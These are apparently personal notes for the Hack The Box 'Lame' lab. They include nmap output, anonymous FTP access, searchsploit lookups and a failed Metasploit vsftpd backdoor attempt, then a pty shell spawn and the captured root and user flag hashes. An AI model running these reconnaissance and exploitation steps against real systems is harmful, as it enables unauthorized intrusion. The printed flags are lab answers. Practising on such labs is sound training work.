


10.10.10.3 | 10.10.16.3

```
nmap -sV -sC -A -oN nampscan1.txt 10.10.10.3
```

A screenshot of a YouTube video player interface. The top bar is dark gray with a red 'X' icon on the left and a play button icon on the right. Below the bar, the video title 'HackTheBox - Lame - Walkthrough' is displayed in black text. The main area is white and contains a large, dark gray play button icon in the center.

 Lame.pdf 260 kB

```
nmap
$ nmap -sV -sC -Pn -vv 10.10.10.3
  Scanning 10.10.10.3 [1000 ports]
  Discovered open port 21/tcp on 10.10.10.3
  Discovered open port 445/tcp on 10.10.10.3
  Discovered open port 22/tcp on 10.10.10.3
  Discovered open port 139/tcp on 10.10.10.3
  Completed Connect Scan at 15:28, 24.54s elapsed (1000 total ports)

  PORT  STATE SERVICE  REASON  VERSION
  21/tcp open  ftp      syn-ack vsftpd 2.3.4
  |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
  |_ftp-syst:
  |  STAT:
  |_FTP server status:
  |  Connected to 10.10.16.3
  |  Logged in as ftp
  |  TYPE: ASCII
  |  No session bandwidth limit
  |  Session timeout in seconds is 300
  |  Control connection is plain text
  |  Data connections will be plain text
  |  vsFTPd 2.3.4 - secure, fast, stable
  |_End of status
  22/tcp open  ssh      syn-ack OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
  |_ssh-hostkey:
  |  1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
  |_ssh-dss
  AAAAB3NzaC1kc3MAAACBALz4hsc8a2Sr4nlW960qV8xwBG0JC+jl7fWxm5METIJH4tKr/xUTwsTYEYnaZLzcOiy21D3ZvOwYb6AA3765zdgCd2Tgand7F0Y
  D5UtXG7b7fbz99chReivL0SIWEG/E96Ai+pqYMP2WD5KaOJwSIXSUajnU5oWmY5x85sBw+XDAAAAFQDFkMpmfFQTF+oRqaoSNVU7Z+hjSwAAAIBCQxN
```

```
Kzi11TyP+QJIFa3M0oLqCVWI0We/ARtXrzpBOJ/dt0h1JXCeYIsKqcdwdtyIn8OUUCOYrIjqNuA2QW217oQ6wXpbFh+5AQm8Hl3b6C6o8lX3Ptw+Y4dp0lzfWH
wZ/jzHwtuaDQaok7u1f971lEazeJLqfiWrAzoklqSWyDQJAAAAIA1lAD3xWYkeleHv/R3P9i+XaoI7imFkMuYXCdTq843YU6Td+0mWpIlCqAWUV/CQamGgQLt
Yy5S0ueoks01MoKdOMMhKVwqdr08nvCBdNKjIEd3gH6oBk/YRnjzxIEAYBsvCmM4a0jmhZ0oNiRWlc/F+bkUeFKrBx/D2fdfZmhrGg==
| 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
|_ ssh-rsa
AAAAB3NzaC1yc2EAAAABlWAAAQEAstqnuFMBOZvO3WTEjP4TUdjgWkIVNdTq6kboEDjteOfc65TlI7sRvQBwqAhQjeeyylk8T55gMDkOD0akSlSXvLDcmcd
YfxelF0ZSuT+nkRhij7XSSA/Oc5QSk3sJ/SInfb78e3anbRHpmkJcVgETJ5WhKObUNf1AKZW++4Xlc63M4KI5cjvMMIPEVOyR3AKmI78Fo3HJjYucg87JjLeC6
6I7+dIEYX6zT8i1XYwa/L1vZ3qSJISGVu8kRPikMv/cNSvki4j+qDYyZ2E5497W87+Ed46/8P42LNGoOV8OcX/ro6pAcbEPudUEfkJrqi2YXbhvwIJ0gFMb6wfe
5cnQew==
139/tcp open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn syn-ack Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

```
Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_ smb2-security-mode: Couldn't establish a SMBv2 connection.
|_ smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name:
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2021-11-20T01:31:29-05:00
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 59488/tcp): CLEAN (Timeout)
|   Check 2 (port 11770/tcp): CLEAN (Timeout)
|   Check 3 (port 33800/udp): CLEAN (Timeout)
|   Check 4 (port 40169/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_ clock-skew: mean: 2h32m39s, deviation: 3h32m12s, median: 2m36s
```

TRYING FTP [21/tcp open ftp syn-ack vsftpd 2.3.4]

```
ftp 10.10.10.3
user: Anonymous
password:<enter>
```

```
ftp> ls -lah
finds all files
```

—\$ searchsploit vsftpd 2.3.4

Exploit Title	Path
vsftpd 2.3.4 - Backdoor Command Execution	unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)	unix/remote/17491.rb

Shellcodes: No Results

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name	Current Setting	Required	Description
RHOSTS	yes		The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	21	yes	The target port (TCP)

Payload options (cmd/unix/interact):

Name	Current Setting	Required	Description
----	-----	-----	-----

Exploit target:

Id	Name
--	----

0 Automatic

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 10.10.10.3

RHOST => 10.10.10.3

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)

[*] 10.10.10.3:21 - USER: 331 Please specify the password.

[*] Exploit completed, but no session was created.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

exploitation

\$ searchsploit 3.0.20

Exploit Title	Path
CubeCart 3.0.20 - '/admin/login.php?goto' Arbitrary Site Redirect	php/webapps/36686.txt
CubeCart 3.0.20 - 'switch.php?r' Arbitrary Site Redirect	php/webapps/36687.txt
CubeCart 3.0.20 - Multiple Script 'redir' Arbitrary Site Redirects	php/webapps/36685.txt
Maxthon Browser 3.0.20.1000 - ref / replace Denial of Service	windows/dos/16084.html
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)	unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow	linux/remote/7701.txt
Spy Emergency 23.0.205 - Unquoted Service Path Privilege Escalation	windows/local/40550.txt

Shellcodes: No Results

python -c 'import pty; pty.spawn("/bin/sh")'

cat root.txt

90900433471592838d77d4f4b778db58

cat user.txt

a6f243f8dfe9f02398cd3d2bdf7065c1

sh-3.2#